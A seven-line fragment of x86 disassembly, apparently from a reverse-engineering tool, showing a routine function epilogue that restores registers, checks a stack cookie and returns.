pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fb958
leave
ret